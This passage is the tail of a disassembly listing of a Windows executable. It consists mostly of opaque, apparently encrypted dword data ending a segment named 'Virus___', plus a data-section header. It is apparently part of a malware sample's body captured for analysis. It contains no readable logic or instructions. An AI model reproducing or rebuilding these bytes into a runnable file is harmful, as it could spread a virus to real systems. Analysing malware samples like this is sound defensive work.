900195A5h, 0B00199E6h, 7171FDCDh dd 41109DA6h, 0AA9A7FA5h, 0AE4DC8B3h, 0F0C7B22Dh, 50FE8BE4h dd 700190C7h, 7171FC6Fh, 41109DA6h, 0AA9A7FA5h, 96C8A6Dh dd 10C7BD20h, 0D0FE8BD5h, 300199D4h, 7171FDA0h, 41109DA6h dd 0AA9A7FA5h, 833B34DFh, 0B0C7BD06h, 1002BAF2h, 10019CB7h dd 0F001AA70h, 0F00199F4h, 7170C328h, 41109DA6h, 0AA9A7FA5h dd 0A811E663h, 0D0C7AD4Fh, 1001A365h, 0B0019910h, 0B00199FAh dd 7171FDCDh, 41109DA6h, 0AA9A7FA5h, 0A5DFA776h, 70C7A29Dh dd 5008E2D6h, 7001B276h, 7171FC6Fh, 41109DA6h, 0AA9A7FA5h dd 1391015Dh, 90C7B231h, 0D0FFBC50h, 30019B2Fh, 7171FDA0h dd 41109DA6h, 0AA9A7FA5h, 0FC92347Ah, 30C7AD33h, 0B0081257h dd 0F0019B38h, 7170C328h, 41109DA6h, 0AA9A7FA5h, 38C40A3Dh dd 50C7A33Fh, 0D008CC70h, 0B0019B28h, 7171FDCDh, 41109DA6h dd 0AA9A7FA5h, 5B545C28h, 0F0C7A35Ah, 0D008470Bh, 70FE89AAh dd 3008C9F7h, 700199F5h, 7171FC6Fh, 41109DA6h, 0AA9A7FA5h dd 0AB596960h, 10C7A046h, 3008ED76h, 5008CED0h, 300199DAh dd 7171FDA0h, 41109DA6h, 0AA9A7FA5h, 650CB490h, 0B0C7AD4Ch dd 0F008C865h, 0F001914Eh, 7170C328h, 41109DA6h, 0AA9A7FA5h dd 9AF53D00h, 0D0C7A33Fh, 3008D0CCh, 0B0019863h, 7171FDCDh dd 41109DA6h, 0AA9A7FA5h, 0C6F6C677h, 70C7BD1Dh, 1008D0B0h dd 70019E89h, 7171FC6Fh, 41109DA6h, 0AA9A7FA5h, 96D6B572h dd 90C7A36Eh, 1008CE8Ah, 5008F9A3h, 3001911Dh, 7171FDA0h dd 41109DA6h, 0AA9A7FA5h, 0F7ECAE1Bh, 30C7A35Ah, 5008D096h dd 0F001911Dh, 7170C328h, 41109DA6h, 0AA9A7FA5h, 528E6FAFh dd 50C7A33Fh, 0C35BD116h, 0C35BD0EDh, 35BD479h, 83645825h dd 0C36458F6h, 2336296Dh, 23363335h, 0E3645B1Ch, 363800Ch dd 23362E47h, 0E2CD0F54h, 71AD2F4Eh, 1AED881Dh, 339E7F85h dd 25243221h, 435BD626h, 435BD03Bh, 835BD66Ah, 0E3362E6Ch dd 0E2CD0FF7h, 71AD2F4Eh, 1AED881Dh, 0E6BBC63Eh, 45242F24h dd 635BD74Bh, 635B1A15h, 23645E46h, 35B1B52h, 836459D8h dd 83362AA3h, 0A3364AF9h, 0A3361CC1h, 0E2CD0F29h, 71AD2F4Eh dd 1AED881Dh, 4055E08Fh, 0E5242F1Fh, 0A47F5A6Bh, 633627CFh dd 0E2CCD6A0h, 71AD2F4Eh, 1AED881Dh, 69B09B64h, 524438Ah dd 0A5BBF4BDh, 43A26A9h, 5BB1D1Dh, 23362734h, 0E2CD0F54h dd 71AD2F4Eh, 1AED881Dh, 147D02A8h, 0A52443AFh, 85BB4054h dd 835B1B5Ch, 0E3362C67h dd 0E2CD0FF7h, 71AD2F4Eh, 1AED881Dh, 90296B24h, 0C5243221h dd 489C7AFh, 0A336353Ah, 0E2CD0F29h, 71AD2F4Eh, 1AED881Dh dd 8E2F3C52h, 6524438Ah, 0E5BBD9D1h, 63638549h, 63640D56h dd 4364098Ah, 43645E25h, 63640FBCh, 0A35BD760h, 0A3645C7Fh dd 635BD7D0h, 65BBCFDBh, 435B18B1h, 2336256Eh, 0C33643B9h dd 23363560h, 43363BB7h, 63362804h, 0E3363379h, 63645E4Eh dd 3360509h, 63362ED4h, 0E2CCD6A0h, 71AD2F4Eh, 1AED881Dh dd 0EDD70776h, 8524309Dh, 25BBD716h, 23640876h, 23638498h dd 0E363926Fh, 0A3638C26h, 0C3638155h, 3638725h, 435BD764h dd 0E3645BFEh, 0A35BD1E4h, 2364724Ch, 65BBCF78h, 0A5BA96B4h dd 45BA969Fh, 0E35B1866h, 835B18CEh, 33628C6h, 6000h dup(0) Virus___ ends ; Section 5. (virtual address 001E9000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001E9000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5E9000h align 2000h _idata2 ends end start